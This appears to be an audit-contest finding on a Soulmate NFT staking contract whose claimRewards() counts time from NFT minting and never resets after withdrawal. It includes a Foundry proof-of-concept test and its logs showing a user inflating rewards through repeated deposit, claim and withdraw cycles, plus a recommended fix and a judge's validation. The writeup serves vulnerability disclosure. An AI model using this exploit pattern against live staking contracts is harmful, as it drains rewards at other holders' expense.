Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

The staking contract implementation logic has issues.

Summary

The staking contract is accumulating time regardless of whether LoveToken tokens are staked.

Vulnerability Details

Let's take a look at the implementation of the claimRewards() function.

uint256 soulmateId = soulmateContract.ownerToId(msg.sender);
// first claim
if (lastClaim[msg.sender] == 0) {
lastClaim[msg.sender] = soulmateContract.idToCreationTimestamp(
soulmateId
);
}

When we claim staking rewards for the first time, the calculation is based on the time of NFT minting.The correct logic should be based on the time when LoveToken tokens are deposited.

After claiming rewards and withdrawing LoveToken tokens from the contract, the 'lastClaim[msg.sender]' variable will not be reset.
So, even if we don't deposit LoveToken tokens into the contract, the staking time will still accumulate, resulting in a significant amount of additional staking rewards.

function withdraw(uint256 amount) public {
// No require needed because of overflow protection
userStakes[msg.sender] -= amount;
loveToken.transfer(msg.sender, amount);
emit Withdrew(msg.sender, amount);
}

Impact

For every 1 token deposited and 1 week left in the contract, 1 LoveToken is rewarded.
Examples:
1 token deposited for 1 week = 1 LoveToken reward
7 tokens deposited for 2 weeks = 14 LoveToken reward

The above is described in the readme.The contract implementation, however, will result in significantly more additional staking rewards than described.
Because stakers don't need to deposit their tokens into the contract regularly, only depositing when they want to claim rewards, calling the claimRewards() function and immediately withdrawing tokens.

POC

function test_stake() public{
vm.warp(block.timestamp + 1707416808);
uint balance = 100 ether;
uint weekOfStaking = 5;
_giveLoveTokenToSoulmates(balance);
console.log("Before solumate1 Balance:");
console.log(loveToken.balanceOf(address(soulmate1)));
//deposited nothing
vm.warp(block.timestamp + weekOfStaking * 1 weeks + 1 seconds);
vm.startPrank(soulmate1);
console.log("Before solumate1 Balance:");
console.log(loveToken.balanceOf(address(soulmate1)));
loveToken.approve(address(stakingContract), balance);
stakingContract.deposit(balance);
stakingContract.claimRewards();
stakingContract.withdraw(balance);
vm.stopPrank();
console.log("After solumate1 Balance withdraw 1:");
console.log(loveToken.balanceOf(address(soulmate1)));
//deposited nothing
vm.warp(block.timestamp + weekOfStaking * 1 weeks + 1 seconds);
vm.startPrank(soulmate1);
balance = loveToken.balanceOf(address(soulmate1));
loveToken.approve(address(stakingContract), balance);
stakingContract.deposit(balance);
stakingContract.claimRewards();
stakingContract.withdraw(balance);
vm.stopPrank();
console.log("After solumate1 Balance withdraw 2:");
console.log(loveToken.balanceOf(address(soulmate1)));
}

result

[PASS] test_WellInitialized() (gas: 12301)
[PASS] test_stake() (gas: 481858)
Logs:
Before solumate1 Balance:
100000000000000000000
Before solumate1 Balance:
100000000000000000000
After solumate1 Balance withdraw 1:
2000000000000000000000
After solumate1 Balance withdraw 2:
12000000000000000000000
Test result: ok. 2 passed; 0 failed; 0 skipped; finished in 2.95ms
Ran 1 test suites: 2 tests passed, 0 failed, 0 skipped (2 total tests)

Tools Used

Manual Review

Recommendations

Record the block.timestamp in mapping each time a deposit is called. If lastClaim[msg.sender] is less than this timestamp, update it to this timestamp. After withdrawal, clear lastClaim[msg.sender].

Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-claimRewards-nft-0-lastClaim

High severity, as it allows any pending user to claim staking rewards without owning a soulmate NFT by - Obtaining love tokens on secondary markets - Transfer previously accrued love tokens via airdrops/rewards to another account and abusing the `deposit()` function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.